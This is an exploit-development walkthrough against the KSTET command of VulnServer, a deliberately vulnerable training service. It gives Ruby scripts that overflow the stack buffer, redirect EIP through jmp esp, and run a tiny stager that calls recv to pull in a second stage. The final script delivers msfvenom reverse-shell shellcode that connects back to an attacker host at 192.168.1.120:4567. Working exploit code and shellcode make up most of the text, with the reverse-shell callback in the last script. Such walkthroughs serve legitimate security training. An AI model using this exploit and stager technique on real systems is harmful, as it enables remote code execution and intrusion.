VulnServer: KSTET exploit with staged payload using WS2_32.recv
We can crash the service using the following PoC:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + 'A' * 5000)
s.close()
We are in front of an EIP override:
First thing, we will crash the service using a unique string, so that we can calculate the offsets. We can generate the unique string using the following command:
msf-pattern_create -l 5000
And paste it into our script which will now look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + payload)
s.close()
Once we crash the service, we can use !mona findmsp
to calculate the offsets:
EIP is at offset 66. ESP comes immediately after it, but it contains only 20 bytes of buffer, which means we have very very little space in ESP, and not much before EIP.
We first find a jmp esp
instruction:
We can use the first one at 625011af
. We add it to our script, which will now look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
#eip offset at 66
payload = "A" * 66
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xaf\x11\x50\x62"
payload += "C" * 20
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + payload)
s.close()
We can follow the execution until the jump to our buffer of C, and then look at where our initial buffer is located:
EIP, which is pointing at our instruction in ESP, is currently pointing at b6fa0c
, our first A is at b6f9c6
. The difference is 0x46
, so we can simply add a relative jump behind to our payload. Our exploit will look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
#eip offset at 66
payload = "A" * 66
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
payload += "\xaf\x11\x50\x62"
#nasm > jmp short -0x46
#00000000 EBB8 jmp short 0xffffffba
payload += "\xeb\xb8"
payload += "C" * 18
s = TCPSocket.open(target, port)
s.puts('KSTET /.:/' + payload)
s.close()
Now we have 66 bytes of buffer to write our payload. Very little for a shell, but enough for a stager that will receive the reverse shell from our machine.
First thing, we want to find the recv
call that the machine executes to receive our command. We can restart the application, and in the top-left panel click on Search for > All intermodular calls
. If we order the call by name, we can easily find the call to recv
:
We can place a breakpoint on it, resend our payload and have a look at recv
parameters:
There are three information that we need from this screen:
- ESP location, we might need it to find the socket descriptor (in this specific case we won’t:
b6fa0c
. - exact call memory address, we can find it under the instruction panel:
40252c
. - socket descriptor id, we can see it in the arguments on the stack:
7c
.
We should also have a look at the official documentation here: https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv.
The recv
function needs 4 arguments:
int recv(
SOCKET s,
char *buf,
int len,
int flags
);
We need to push these arguments on the stack, in reverse order, before calling the function.
Restart the application and place a breakpoint at the beginning of our shellcode.
Now this would be the time to look for the socket descriptor id in memory, so that we calculate the offset from current ESP and retrieve it dynamically, but in this case we got lucky, if we look at the registers, we see that EBX
currently hold the value of the socket descriptor. That’s luck.
We have everything we need to write our shellcode.
First thing we want to do is to align ESP before our payload, to avoid that any stack operation performed by recv
could override our payload. Since eax
is currently pointing at the very beginning of our buffer, we can move esp with the following two instructions:
push eax
pop esp
We can now push the parameters for recv
, I’ll take advantage of the fact that edx
value is currently 0:
push edx ;--- flags = 0
add dh,0x20 ;--- add 512 to edx
push edx ;--- len = 512
add al,0x40 ;--- add 0x40 to eax, will point in the middle of our buffer
push eax ;--- buffer = eax+64
pusb ebx ;--- socket = stored socket descriptor
And now we can call the recv function. We can’t use its address directly, because there’s a null byte and we can’t send it in our payload. We will use a shift:
mov eax, 0x40252C11
shr eax, 8
call eax
We can add all of this together in a file and compile it with nasm. We can then paste the resulting payload into our script, which will look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
# call_recv.bin
first_stage = "\xcc\x50\x5c\x52\x80\xc6\x02\x52\x04\x40\x50\x53\xb8\x11\x2c\x25\x40\xc1\xe8\x08\xff\xd0"
#eip offset at 66
first_stage += "\xcc" * (66 - first_stage.length)
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
#nasm > jmp short -0x46
#00000000 EBB8 jmp short 0xffffffba
first_stage += "\xeb\xb8"
first_stage += "\x90" * 18
payload = "F" * 512
s = TCPSocket.open(target, port)
s.recv(1024)
s.puts('KSTET /.:/' + first_stage)
s.puts(payload)
s.close()
Notice how I’m sending a second payload with a second puts
.
We can use this script, and follow the execution (I used some \xcc
to make debugging easier), this is how memory looks like before my stager gets executed:
If we reach our call to recv
, we can see its parameters correctly pushed into the stack, notice how the second four bytes are a pointer to the memory address 00b6f9fc
(reverse order):
This memory address is in front of us in the memory, it’s the address we passed as argument of the buffer
parameter for the recv
call.
If we now let the program continue, our interrupt will be reached and we can look at the memory:
The buffer we sent magically appeared at the memory location we passed to recv
. We can see that now we have plenty of buffer to use:
Now everything left to do would be to send our real payload. But this is the moment when I realized that my stager was very very small and I wondered if I could fit it into the 20 bytes of buffer after EIP, without jumping back to the bigger buffer.
My payload is currently 21 bytes long, so I have one byte too much.
I don’t need to align esp
before my payload, as I will jump to it and therefore this will happen automatically, but I still need to retrieve esp
value in order to align eax
to my buffer destination, so I can’t spare bytes in this process.
What I can do, instead, is looking for the recv
function in windows libraries and use its absolute address, which will likely not have null bytes in it.
I can use arwin
to find the address:
With this address, I can avoid a shift in my assembly:
[BITS 32]
global _start
_start:
;--- set pointer to buffer location
push esp
pop eax
add al,0x14
;--- pushing parameters
push edx
add dh,0x02
push edx
push eax
push ebx
;--- call recv
mov eax, 0x71a3615a
call eax
I can compile and paste the payload into my exploit. Notice that I had to change the value of the pointer to buffer, now it points 20 bytes ahead of the stack pointer.
My final script look as follows:
#!/usr/bin/ruby
require 'socket'
target = '192.168.1.121'
port = 9999
#eip offset at 66
first_stage = "A" * 66
# 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\werebug\Desktop\Vulnserver\essfunc.dll)
first_stage += "\xaf\x11\x50\x62"
# call_recv-in-esp.bin 18 bytes
first_stage += "\x54\x58\x04\x14\x52\x80\xc6\x02\x52\x50\x53\xb8\x5a\x61\xa3\x71\xff\xd0"
first_stage += "\x90" * 2
# msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.120 LPORT=4567 EXITFUNC=thread -e x86/shikata_ga_nai -b "\x00" -f ruby
payload = "\x90" * 16
payload += "\xd9\xec\xba\x5e\xbf\xb2\xcf\xd9\x74\x24\xf4\x5e\x2b\xc9" +
"\xb1\x52\x31\x56\x17\x83\xc6\x04\x03\x08\xac\x50\x3a\x48" +
"\x3a\x16\xc5\xb0\xbb\x77\x4f\x55\x8a\xb7\x2b\x1e\xbd\x07" +
"\x3f\x72\x32\xe3\x6d\x66\xc1\x81\xb9\x89\x62\x2f\x9c\xa4" +
"\x73\x1c\xdc\xa7\xf7\x5f\x31\x07\xc9\xaf\x44\x46\x0e\xcd" +
"\xa5\x1a\xc7\x99\x18\x8a\x6c\xd7\xa0\x21\x3e\xf9\xa0\xd6" +
"\xf7\xf8\x81\x49\x83\xa2\x01\x68\x40\xdf\x0b\x72\x85\xda" +
"\xc2\x09\x7d\x90\xd4\xdb\x4f\x59\x7a\x22\x60\xa8\x82\x63" +
"\x47\x53\xf1\x9d\xbb\xee\x02\x5a\xc1\x34\x86\x78\x61\xbe" +
"\x30\xa4\x93\x13\xa6\x2f\x9f\xd8\xac\x77\xbc\xdf\x61\x0c" +
"\xb8\x54\x84\xc2\x48\x2e\xa3\xc6\x11\xf4\xca\x5f\xfc\x5b" +
"\xf2\xbf\x5f\x03\x56\xb4\x72\x50\xeb\x97\x1a\x95\xc6\x27" +
"\xdb\xb1\x51\x54\xe9\x1e\xca\xf2\x41\xd6\xd4\x05\xa5\xcd" +
"\xa1\x99\x58\xee\xd1\xb0\x9e\xba\x81\xaa\x37\xc3\x49\x2a" +
"\xb7\x16\xdd\x7a\x17\xc9\x9e\x2a\xd7\xb9\x76\x20\xd8\xe6" +
"\x67\x4b\x32\x8f\x02\xb6\xd5\x70\x7a\xb9\x5d\x19\x79\xb9" +
"\x8c\x0e\xf4\x5f\xc4\xa0\x51\xc8\x71\x58\xf8\x82\xe0\xa5" +
"\xd6\xef\x23\x2d\xd5\x10\xed\xc6\x90\x02\x9a\x26\xef\x78" +
"\x0d\x38\xc5\x14\xd1\xab\x82\xe4\x9c\xd7\x1c\xb3\xc9\x26" +
"\x55\x51\xe4\x11\xcf\x47\xf5\xc4\x28\xc3\x22\x35\xb6\xca" +
"\xa7\x01\x9c\xdc\x71\x89\x98\x88\x2d\xdc\x76\x66\x88\xb6" +
"\x38\xd0\x42\x64\x93\xb4\x13\x46\x24\xc2\x1b\x83\xd2\x2a" +
"\xad\x7a\xa3\x55\x02\xeb\x23\x2e\x7e\x8b\xcc\xe5\x3a\xab" +
"\x2e\x2f\x37\x44\xf7\xba\xfa\x09\x08\x11\x38\x34\x8b\x93" +
"\xc1\xc3\x93\xd6\xc4\x88\x13\x0b\xb5\x81\xf1\x2b\x6a\xa1" +
"\xd3"
payload += "\x90" * (512 - payload.length)
s = TCPSocket.open(target, port)
s.recv(1024)
s.puts('KSTET /.:/' + first_stage)
s.puts(payload)
s.close()
If I run this script against the target machine: